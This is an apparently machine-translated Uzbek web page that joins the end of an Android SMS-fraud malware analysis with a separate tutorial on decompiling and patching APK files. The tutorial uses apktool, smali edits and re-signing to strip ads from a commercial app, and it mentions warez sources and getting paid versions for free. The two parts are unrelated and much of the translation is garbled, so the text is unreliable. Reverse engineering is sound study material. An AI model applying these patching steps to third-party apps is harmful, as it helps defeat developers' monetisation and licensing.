"SmsReceiver.class" faylini tahlil qilishni tugatgandan so'ng, keyingi .class faylining kodini tahlil qilishga o'ting, ya'ni. "iCalendar.class". Birinchisi eng shubhali ko'rinadi. Xususan, showImg () funktsiyasida sendSms () funktsiyasi mavjudligini payqadik.

Shakl: 8

Shunday qilib, biz "sendSms ()" faylini buyruqlar bajarilishidagi xususiyatlarni ko'rish uchun tekshirishni boshladik. Quyidagi rasmda ko'rsatilgandek, sendSms () funktsiyasi yoqilganda, 1066185829 raqamiga avtomatik ravishda 921X1 matni bilan SMS yuborilishini ko'ramiz.

Shakl: to'qqiz

VII qadam:
SendSms () funktsiyasi oxirida biz saqlash funktsiyasi buyrug'i mavjudligini sezdik. Shunday qilib, biz kod ichidagi save () funktsiyasini qidirdik va uning sendSms () funktsiyasi bilan bevosita aloqasini topdik.

Shakl: o'n

Tegishli tahlilni amalga oshirib, save () funktsiyasining turli jihatlarini aniqlab olgach, har doim save () funktsiyasi bajarilganda "Y" qatori uzatilishi aniqlandi. Bundan tashqari, sendSms () funktsiyasini faqat bir marta chaqirish mumkin degan xulosaga kelishdi, lekin ko'proq emas, chunki sendSms () funktsiyasi uchun "if" tsikli o'rnatilgan.

VIII qadam:
Butun tahlil natijalarini birlashtirib, zararli dasturlarning har xil turlarining to'liq ishlashi to'g'risida aniq tasavvurga ega bo'lishingiz mumkin.

Ilova 1066185829 premium raqamiga 921X1 matni bilan SMS yuboradi. Shu bilan birga, ushbu raqamga xabarlarni etkazib berish bo'yicha har qanday kiruvchi hisobotlar bloklanadi va natijada jabrlanuvchi orqa fonda ilova tomonidan yuborilgan bunday SMS mavjudligi to'g'risida signal olmaydi. Bundan tashqari, SMS faqat bir marta yuboriladi va jabrlanuvchi aslida hisobdan pul mablag'larini olib tashlashga nima sabab bo'lganiga hech qanday shubha qila olmaydi.

Shakl: 11: iCalendar.apk tsikli zararli dasturlari to'g'risida to'liq xulosalar

Xulosa:

Telefonga root kirish huquqiga ega bo'lgan zararli dastur nafaqat o'zida saqlangan har qanday ma'lumotlarni o'qish qobiliyatiga ega, balki uni mutlaqo istalgan joyga uzatishga qodir. Ushbu ma'lumot o'z ichiga olishi mumkin bog'lanish uchun ma'lumot, hujjatlar va hatto hisob qaydnomalari uchun parollar. Qachon ildiz mavjudligi kirish, telefonning foydalanuvchi interfeysida ko'rish mumkin bo'lmagan va shuning uchun uni osongina o'chirib bo'lmaydigan boshqa komponentlarni o'rnatish mumkin. Android platformasi uchun zararli dasturlardan dasturlarni himoya qilishning asosiy usullari quyida keltirilgan:
  • Ilovani faqat ishonchli manbalardan yuklab oling;
  • Ilovani yuklab olishdan oldin tegishli reytinglar va sharhlarni tekshirish;
  • Muayyan dastur ruxsatnomalarini diqqat bilan baholash;
  • Operatsion tizimni o'rnatish Android yangilanishlari, ular tayyor bo'lganda;
  • Mobil ilovalarni himoya qilish uchun dasturlarni o'rnatish.

Hujjatda zararli dasturlarning shubhali foydalanuvchilarga etkazgan zarariga misol keltirilgan. Agar biror kishi uning mavjudligi haqida bilmasa, unda bunday dasturlar fonda deyarli har qanday ruxsatsiz harakatlarni amalga oshirish uchun mavjud bo'ladi. Zararli dasturlarning ishlashi foydalanuvchiga uning balansidan mablag 'ajratish va parollarni o'g'irlash orqali moliyaviy yo'qotishlarga olib kelishi mumkin. Ular, shuningdek, telefonning o'ziga zarar etkazishi mumkin. Ko'rib turganingizdek, ushbu turdagi ilovalarning telefoningizga kirishiga yo'l qo'ymaslik uchun o'z vaqtida kerakli choralarni ko'rish juda muhimdir. O'n marta pushaymon bo'lgandan ko'ra, uni bir marta xavfsiz ijro etish yaxshiroqdir.

Ba'zan Android-dagi ba'zi ilovalar foydalanuvchiga biron bir tarzda mos kelmaydi. Masalan, bezovta qiluvchi reklamalar. Va bu ham sodir bo'ladi - har bir kishi dasturni yaxshi biladi, lekin faqat uning tarjimasi egri yoki umuman yo'q. Yoki, masalan, sinov dasturi va olish to'liq versiyasi hech qanday imkoniyat yo'q. Vaziyatni qanday o'zgartirish mumkin?

Kirish

Ushbu maqolada biz APK to'plamini dastur bilan qanday qilib qismlarga ajratish, uning ichki tuzilishini ko'rib chiqish, bayt kodini qismlarga ajratish va dekompilyatsiya qilish haqida gaplashamiz, shuningdek, bizga u yoki bu foyda keltiradigan dasturlarga bir nechta o'zgartirishlar kiritishga harakat qilamiz.

Bularning barchasini o'zingiz amalga oshirish uchun sizga hech bo'lmaganda Android dasturlari yoziladigan Java tili va Android-ning hamma joylarida ishlatiladigan XML tili - dasturning o'zi va unga kirish huquqlarini tavsiflashdan tortib ekranda ko'rsatiladigan satrlarni saqlashgacha bo'lgan ba'zi bir boshlang'ich bilimlar kerak bo'ladi. Bundan tashqari, maxsus konsol dasturlari bilan ishlashingiz kerak bo'ladi.

Xo'sh, Android uchun mutlaqo barcha dasturiy ta'minot tarqatiladigan APK to'plami aniq nima?

Ilovalarni dekompilyatsiya qilish

Ushbu maqolada biz faqat qismlarga ajratilgan dastur kodlari bilan ishladik, ammo agar siz katta dasturlarga jiddiy o'zgartirishlar kiritadigan bo'lsangiz, smali kodini tushunish ancha qiyin bo'ladi. Yaxshiyamki, biz dex kodini Java kodiga kiritishimiz mumkin, garchi u asl nusxasi bo'lmasa-da, kompilyatsiya qilinmagan bo'lsa ham, dastur mantig'ini o'qish va tushunish ancha oson. Buning uchun bizga ikkita vosita kerak:

  • dex2jar - Dalvik bayt kodining JVM bayt kodiga tarjimoni, shu asosda biz Java-da kod olishimiz mumkin;
  • jd-gui - bu JVM bayt kodidan o'qilishi mumkin bo'lgan Java kodini olishga imkon beruvchi dekompilyatorning o'zi. Shu bilan bir qatorda, siz Jad (www.varaneckas.com/jad) dan foydalanishingiz mumkin; u ancha eski bo'lsa-da, ba'zi hollarda u Jd-guidan ko'ra ko'proq o'qiladigan kod ishlab chiqaradi.

Ular shunday ishlatilishi kerak. Birinchidan, biz apk paketiga yo'lni argument sifatida belgilab, dex2jar-ni ishga tushiramiz:

% dex2jar.sh mail.apk

Natijada, Java. kodini ko'rish uchun allaqachon jd-gui da ochilishi mumkin bo'lgan joriy katalogda mail.jar Java to'plami paydo bo'ladi.

APK to'plami qurilmasi va ularni olish

Paket android ilovalariaslida oddiy ZIP fayli bo'lib, tarkibni ko'rish va ochish uchun maxsus vositalar talab qilinmaydi. Arxivatorga ega bo'lish kifoya - Windows uchun 7zip yoki Linux uchun konsolni ochish. Ammo gap o'rash haqida. Ichkarida nima bor? Ichkarida biz odatda quyidagi tuzilishga egamiz:

  • META-INF / - dasturning yaratuvchisini tasdiqlovchi raqamli sertifikati va paketlar fayllarining summasi;
  • res / - dastur o'z ishida foydalanadigan turli xil manbalar, masalan, rasmlar, interfeysning deklarativ tavsifi va boshqa ma'lumotlar;
  • AndroidManifest.xml - dastur tavsifi. Bunga, masalan, kerakli ruxsatnomalar ro'yxati kiradi android versiyasi va kerakli ekran o'lchamlari;
  • sinflar.dex - Dalvik virtual mashinasi uchun dastur bayt-kodini tuzdi;
  • resurslari.arsc - shuningdek, resurslar, ammo boshqa turdagi - xususan, satrlar (ha, bu fayl ruslashtirish uchun ishlatilishi mumkin!).

Ro'yxatdagi fayllar va kataloglar, umuman olganda, aksariyat APK'larda mavjud. Shunga qaramay, yana bir nechta oddiy bo'lmagan fayllar / kataloglarni eslatib o'tish kerak:

  • aktivlar - resurslarning analogi. Asosiy farq shundaki, aktivga kirish uchun uning identifikatorini bilishingiz kerak, shu bilan birga aktivlar ro'yxatini dastur kodidagi AssetManager.list () usuli yordamida dinamik ravishda olish mumkin;
  • lib - NDK (Native Development Kit) bilan yozilgan mahalliy Linux kutubxonalari.

Ushbu katalogdan o'yin ishlab chiqaruvchilari foydalanadilar, ular C / C ++ da yozilgan o'yin dvigatellarini, shuningdek, yuqori mahsuldor dasturlarni ishlab chiquvchilarni (masalan, Gugl xrom). Qurilma tartibga keltirildi. Ammo qiziqish uchun arizaning haqiqiy paketini qanday olish mumkin? Qurilmadan APK fayllarini rootsiz olish imkoni bo'lmaganligi sababli (ular / data / app katalogida) va root har doim ham tavsiya etilmaydi, shuning uchun dastur faylini kompyuterga olishning kamida uchta usuli mavjud:

  • chrome uchun APK Downloader kengaytmasi;
  • haqiqiy APK Leecher dasturi;
  • turli xil fayllarni almashish va warezniki.

Qaysi birini ishlatish ta'mga bog'liq; biz alohida dasturlardan foydalanishni afzal ko'ramiz, shuning uchun biz haqiqiy APK Leecher-dan foydalanishni tavsiflaymiz, ayniqsa Java-da yozilgan va shunga mos ravishda Windows-da, hatto nix-da ishlaydi.

Dasturni boshlaganingizdan so'ng, siz uchta maydonni to'ldirishingiz kerak: Elektron pochta, Parol va Device ID - va tilni tanlang. Dastlabki ikkitasi qurilmada foydalanadigan Google hisobingizning elektron pochta va parolidir. Uchinchisi - bu qurilma identifikatori va siz uni tergichdagi kodni terish orqali olishingiz mumkin # #8255## va keyin Device ID qatorini toping. To'ldirishda siz faqat android- prefiksisiz identifikatorni kiritishingiz kerak.

To'ldirish va saqlashdan so'ng, "Serverga ulanishda xatolik" xabari tez-tez paydo bo'ladi. Google Play bilan hech qanday aloqasi yo'q, shuning uchun beparvo bo'ling va sizni qiziqtirgan paketlarni qidirib toping.

Ko'rish va o'zgartirish

Aytaylik, siz o'zingizni qiziqtirgan paketni topdingiz, yuklab oldingiz, paketdan chiqardingiz ... va ba'zi bir XML fayllarni ko'rishga harakat qilayotib, fayl matn emasligini ko'rib hayron qoldim. Uni qanday dekompilyatsiya qilish va umuman paketlar bilan qanday ishlash kerak? SDK-ni o'rnatish haqiqatan ham kerakmi? Yo'q, SDK-ni o'rnatishingiz shart emas. Aslida APK paketlarini ochish, o'zgartirish va paketlash bo'yicha barcha qadamlar quyidagi vositalarni talab qiladi:

  • zIP arxivlovchi ochish va qadoqlash uchun;
  • smali - Dalvik virtual mashinasining assembler / disassembler bayt kodi (code.google.com/p/smali);
  • aapt - resurslarni qadoqlash vositasi (sukut bo'yicha, dasturlar ish faoliyatini optimallashtirish uchun resurslar ikkilik shaklda saqlanadi). Android SDK-ga kiritilgan, lekin alohida-alohida olinishi mumkin;
  • imzo chekuvchi - uchun vosita elektron raqamli imzo o'zgartirilgan paket (bit.ly/Rmrv4M).

Siz ushbu vositalarning barchasini alohida-alohida ishlatishingiz mumkin, ammo bu noqulay, shuning uchun ularning asosida qurilgan yuqori darajadagi dasturlardan foydalanish yaxshiroqdir. Agar siz Linux yoki Mac OS X dan foydalanayotgan bo'lsangiz, apktool deb nomlangan vosita mavjud. Bu sizga resurslarni asl nusxasida (jumladan, ikkilik XML va arsc fayllarini) ochish, o'zgartirilgan resurslar bilan paketni qayta tiklashga imkon beradi, ammo paketlarni imzolay olmaydi, shuning uchun imzo dasturini qo'lda ishga tushirishingiz kerak bo'ladi. Yordamchi dastur Java-da yozilganiga qaramay, uning o'rnatilishi juda nostandart. Avval jar faylini o'zi olishingiz kerak:

$ cd / tmp $ wget http://bit.ly/WC3OCz $ tar -xjf apktool1.5.1.tar.bz2

$ wget http://bit.ly/WRjEc7 $ tar -xjf apktool-install-linux-r05-ibot.tar.bz2

$ mv apktool.jar ~ / bin $ mv apktool-install-linux-r05-ibot / * ~ / bin $ export PATH \u003d ~ / bin: $ PATH

Agar siz Windows-da ishlasangiz, unda Virtual Ten Studio deb nomlangan ajoyib vosita mavjud bo'lib, u ham ushbu vositalarni to'playdi (shu jumladan apktool-ning o'zi), lekin CLI interfeysi o'rniga foydalanuvchiga operatsiyalarni bajaradigan intuitiv grafik interfeysni taqdim etadi bir necha marta bosish orqali ochish, qismlarga ajratish va dekompilyatsiya qilish to'g'risida. Ushbu vosita "Donation-ware" dir, ya'ni ba'zan litsenziyani olish taklifi bilan oynalar paydo bo'ladi, ammo oxir-oqibat bunga toqat qilish mumkin. Uni ta'riflash mantiqsiz, chunki interfeysni bir necha daqiqada tushunishingiz mumkin. Ammo apktool, konsol xususiyatiga ko'ra, batafsilroq muhokama qilinishi kerak.


Keling, apktool variantlarini ko'rib chiqaylik. Qisqacha aytganda, uchta asosiy buyruq mavjud: d (dekodlash), b (qurish) va agar (ramkani o'rnatish). Agar dastlabki ikkita buyruq bilan hamma narsa aniq bo'lsa, unda uchinchi, shartli operator nima qiladi? Belgilangan foydalanuvchi interfeysi ramkasini ochadi, bu har qanday tizim paketini ajratganda kerak bo'ladi.

Birinchi buyruqning eng qiziqarli variantlarini ko'rib chiqamiz:

  • -s - dex fayllarini qismlarga ajratmang;
  • -r - resurslarni ochmang;
  • -b - dex faylini demontaj qilish natijalariga disk raskadrovka ma'lumotlarini qo'shmang;
  • --frame-path - o'rnatilgan interfeys o'rniga apktool-ga o'rnatilgan interfeysdan foydalaning. Endi b buyrug'ining ikkita variantini ko'rib chiqamiz:
  • -f - o'zgarishlarni tekshirmasdan majburiy yig'ish;
  • -a - biz biron sababga ko'ra boshqa manbadan foydalanmoqchi bo'lsangiz, aapt (APK arxivini yaratish vositasi) ga yo'lni ko'rsatamiz.

Apktool-dan foydalanish juda oddiy, buning uchun siz buyruqlardan birini va APK-ga yo'lni ko'rsatishingiz kerak, masalan:

$ apktool d mail.apk

Shundan so'ng, chiqarilgan va qismlarga ajratilgan barcha paketlar pochta katalogida paydo bo'ladi.

Parchalanish. Reklamalarni o'chirib qo'yish

Nazariya, albatta, yaxshi, ammo biz ochilmagan paket bilan nima qilishni bilmasak, nega kerak? Keling, nazariyani o'zimizning foydamizga tatbiq etishga harakat qilaylik, ya'ni ba'zi reklama dasturlarini bizga reklamalar ko'rsatmasligi uchun o'zgartiring. Masalan, Virtual mash'al bo'lsin - virtual mash'al. Biz uchun bu dastur juda zo'r, chunki u bezovta qiluvchi reklamalarga to'la va bundan tashqari, kod o'rmonida adashmaslik uchun etarlicha sodda.


Shunday qilib, yuqoridagi usullardan birini qo'llagan holda, dasturni bozordan yuklab oling. Agar siz "Virtuous Ten Studio" dan foydalanishga qaror qilsangiz, dasturdagi APK faylini oching va uni oching, buning uchun loyiha yaratasiz (Fayl -\u003e Yangi loyiha), keyin kontekst menyusi Faylni import qilish-ni tanlang. Agar sizning tanlovingiz apktool-ga to'g'ri kelgan bo'lsa, unda bitta buyruqni bajaring:

$ apktool d com.kauf.particle.virtualtorch.apk

Shundan so'ng com.kauf.particle.virtualtorch katalogida oldingi qismda tasvirlanganga o'xshash fayl daraxti paydo bo'ladi, lekin dex fayllari va apktool.yml fayli o'rniga qo'shimcha smali katalogi mavjud. Birinchisida dasturning bajariladigan dex faylining ajratilgan kodi, ikkinchisida apktool tomonidan paketni qayta tiklash uchun zarur bo'lgan xizmat ma'lumotlari mavjud.

Biz qarashimiz kerak bo'lgan birinchi joy, albatta, AndroidManifest.xml. Va biz darhol quyidagi qatorni uchratamiz:

Siz taxmin qilganingizdek, u Internet-ulanishdan foydalanishga ruxsat berish uchun javobgardir. Aslida, agar biz shunchaki reklamalardan xalos bo'lishni istasak, ehtimol ilova uchun Internetni o'chirib qo'yishimiz kerak bo'ladi. Keling, buni qilishga harakat qilaylik. Belgilangan qatorni o'chirib tashlaymiz va apktool yordamida dasturiy ta'minotni yaratishga harakat qilamiz:

$ apktool b com.kauf.particle.virtualtorch

Olingan APK fayli com.kauf.particle.virtualtorch / build / katalogida paydo bo'ladi. Biroq, siz uni o'rnatolmaysiz, chunki u elektron raqamli imzo va fayllarni nazorat qilish summasiga ega emas (shunchaki META-INF / katalogi yo'q). Biz apk-signer yordam dasturidan foydalanib paketga imzo chekishimiz kerak. Ishga tushirildi. Interfeys ikkita yorliqdan iborat - birinchisida (Key Generator) biz kalitlarni yaratamiz, ikkinchisida (APK Signer) biz imzolaymiz. Shaxsiy kalitni yaratish uchun quyidagi maydonlarni to'ldiring:

  • Maqsadli fayl - klaviatura do'konining chiqish fayli; u odatda bitta kalit juftligini saqlaydi;
  • Parol va Tasdiqlang - saqlash uchun parol;
  • Taxalluslar - omborxonadagi kalit nomi;
  • Taxallus paroli va Tasdiqlang - maxfiy kalit parol;
  • Amal qilish muddati - amal qilish muddati (yil bilan). Sukut bo'yicha maqbul hisoblanadi.

Qolgan maydonlar odatda ixtiyoriy - ammo kamida bittasini to'ldirish kerak.


OGOHLANTIRISH

Apk-signer yordamida dasturga imzo chekish uchun Android SDK-ni o'rnatishingiz va dastur sozlamalarida unga to'liq yo'lni ko'rsatishingiz kerak.

Barcha ma'lumotlar faqat axborot maqsadida taqdim etiladi. Ushbu maqola materiallari tomonidan etkazilishi mumkin bo'lgan zarar uchun na tahririyat, na muallif javobgar emas.

Endi siz ushbu kalit bilan APK-ga imzo qo'yishingiz mumkin. APK Signer yorlig'ida yangi yaratilgan faylni tanlang, unga parolni, asosiy taxallusni va parolni kiriting, so'ngra toping aPK fayli va "Imzo" tugmachasini jasorat bilan bosing. Agar barchasi yaxshi bo'lsa, paket imzolanadi.

INFO

Biz paketni o'z kalitimiz bilan imzolaganimiz uchun, bu asl dastur bilan ziddiyatga olib keladi, ya'ni bozor orqali dasturiy ta'minotni yangilashga urinishda xato bo'ladi.

Raqamli imzo faqat uchinchi tomon dasturlari uchun talab qilinadi, shuning uchun ularni / system / app / katalogiga nusxalash orqali o'rnatilgan tizim dasturlarini o'zgartirsangiz, ularni imzolashingiz shart emas.

Shundan so'ng biz paketni smartfonga tashlaymiz, o'rnatamiz va ishga tushiramiz. Voila, reklamalar yo'q! Ammo buning o'rniga bizda Internet yo'qligi yoki tegishli ruxsatlarga ega emasligimiz haqida xabar paydo bo'ldi. Nazariy jihatdan, bu etarli bo'lishi mumkin, ammo xabar zerikarli ko'rinadi va, rostini aytganda, biz shunchaki soqov ilova bilan omadli edik. Odatda yozma dastur o'z vakolatlarini aniqlab beradi yoki Internetga ulanishni tekshiradi va aks holda ishga tushirishni rad etadi. Bunday holatda qanday bo'lish kerak? Albatta, kodni tahrirlang.

Odatda, dastur mualliflari dasturni ishga tushirish yoki uning "faoliyati" (sodda qilib aytganda, dastur ekranlari) paytida reklamalarni namoyish qilish va ushbu sinflarning qo'ng'iroq usullarini namoyish qilish uchun maxsus sinflar yaratadilar. Keling, ushbu sinflarni topishga harakat qilaylik. Biz smali katalogiga o'tamiz, keyin com (org tarkibida faqat cocos2d ochiq grafik kutubxonasi mavjud), keyin kauf (aynan o'sha erda, chunki bu ishlab chiqaruvchining nomi va uning barcha kodlari o'sha erda) - va bu erda marketing katalogi. Ichkarida biz smali kengaytmasi bo'lgan bir nechta fayllarni topamiz. Bu sinflar va ularning eng e'tiborlisi Ad.smali sinfidir, uning nomi bilan e'lonlarning aniq qaysi qismini ko'rsatishini taxmin qilish oson.

Biz uning ishlash mantig'ini o'zgartira olamiz, ammo uning har qanday usuliga qo'ng'iroqlarni dasturning o'zidan olib tashlash ancha osonroq bo'lar edi. Shuning uchun biz marketing katalogidan chiqib, qo'shni zarrachalar katalogiga, so'ngra virtualtorchga o'tamiz. Bu erda MainActivity.smali fayli alohida e'tiborga loyiqdir. Bu Android SDK tomonidan yaratilgan va dasturga kirish nuqtasi sifatida o'rnatiladigan standart Android sinfidir (C-dagi asosiy funktsiyaga o'xshash). Tahrirlash uchun faylni oching.

Ichkarida smali (mahalliy assembler) kodi mavjud. Uning darajasi pastligi sababli o'qish juda chalkash va o'qish qiyin, shuning uchun biz uni o'rganmaymiz, shunchaki koddagi Ad sinfiga oid barcha murojaatlarni topamiz va ularni sharhlaymiz. Biz qidiruvda "E'lon" qatorida harakat qilamiz va o'zimizni 25 qatorda topamiz:

Dala xususiy reklama: Lcom / kauf / marketing / Ad;

Bu Ad sinf ob'ektini ushlab turish uchun reklama maydonini yaratadi. Biz satr oldiga ### belgisini qo'yib sharhlaymiz. Biz qidirishni davom ettirmoqdamiz. 423 qator:

Yangi instansiya v3, Lcom / kauf / marketing / Ad;

Bu erda ob'ekt yaratiladi. Biz sharhlaymiz. Biz 433, 435, 466, 468, 738, 740, 800 va 802 qatorlarida Ad sinfining usullariga qo'ng'iroqlarni qidiramiz va topamiz. Biz sharhlaymiz. Shunga o'xshab ko'ring. Biz saqlaymiz. Endi paketni qayta yig'ish va funksionallik va reklama uchun tekshirish kerak. Tajribaning tozaligi uchun biz AndroidManifest.xml-dan o'chirilgan qatorni qaytaramiz, paketni yig'amiz, imzo qo'yamiz va o'rnatamiz.

Bizning dengiz cho'chqasi. Reklama ko'rinadigan

Afsus! Reklama faqat dastur ishlayotganda yo'qoldi, lekin dasturiy ta'minotni ishga tushirganimizda ko'riladigan asosiy menyuda qoldi. Shunday qilib, kuting, lekin kirish nuqtasi MainActivity sinfidir va dastur ishlayotganda reklamalar yo'qoldi, lekin asosiy menyuda qoldi, shuning uchun kirish nuqtasi boshqacha? Haqiqiy kirish nuqtasini aniqlash uchun AndroidManifest.xml faylini qayta oching. Va ha, unda quyidagi satrlar mavjud:

Ular bizga (va eng muhimi, androidga) android.intent.category.LAUNCHER toifasidan android.intent.action.MAIN niyat (voqea) hosil bo'lishiga javoban Start deb nomlangan faoliyatni boshlash kerakligini aytishadi. Ushbu hodisa ishga tushirgichdagi dastur belgisini bosganda hosil bo'ladi, shuning uchun u kirish nuqtasini, ya'ni Boshlash sinfini belgilaydi. Ehtimol, dasturchi dastlab asosiy menyusiz dastur yozgan, kirish nuqtasi standart MainActivity klassi bo'lgan, so'ngra menyuni o'z ichiga olgan va Start sinfida tavsiflangan yangi oyna (faoliyat) qo'shgan va uni qo'lda kirish nuqtasiga aylantirgan.

Start.smali faylini oching va yana "Ad" qatorini qidiring, 153 va 155 qatorlarda FirstAd sinfining eslatilishini toping. Shuningdek, u manba kodida joylashgan va nomiga ko'ra, asosiy ekranda reklamalarni namoyish qilish uchun aniq javobgar. Keyinchalik, bu misol bilan bog'liq bo'lgan kontekstga muvofiq FirstAd sinfining nusxasi va niyatining yaratilishi va keyin shartli o'tish sinfning nusxasini yaratishdan oldin amalga oshiriladigan cond_10 yorlig'i mavjud:

If-ne p1, v0 ,: cond_10 .line 74 yangi instansiya v0, Landroid / content / Intent; ...: cond_10

Ehtimol, dastur qandaydir tarzda tasodifiy ravishda asosiy ekranda reklama ko'rsatilishini yoki yo'qligini hisoblab chiqadi va agar bo'lmasa, u to'g'ridan-to'g'ri cond_10 ga o'tadi. Keling, uning vazifasini soddalashtiramiz va shartli sakrashni shartsiz bilan almashtiramiz:

# if-ne p1, v0 ,: cond_10 goto: cond_10

Kodda FirstAd-ga boshqa havolalar yo'q, shuning uchun faylni yoping va apktool yordamida virtual mash'alamizni qayta o'rnating. Smartfonga nusxalash, o'rnatish, ishga tushirish. Voila, barcha e'lonlar yo'qoldi, va barchamizni tabriklaymiz.

Natija

Ushbu maqola Android dasturlarini buzish va o'zgartirish texnikasi haqida qisqacha ma'lumotdir. Himoyani olib tashlash, buzilgan kodni tahlil qilish, dastur resurslarini tarjima qilish va almashtirish, shuningdek, bilan yozilgan dasturlarni o'zgartirish kabi ko'plab muammolar sahnada qoldi. android-dan foydalanish NDK. Biroq, asosiy bilimlarga ega bo'lgan holda, bularning barchasini tushunish vaqt masalasidir.

Buni baham ko'ring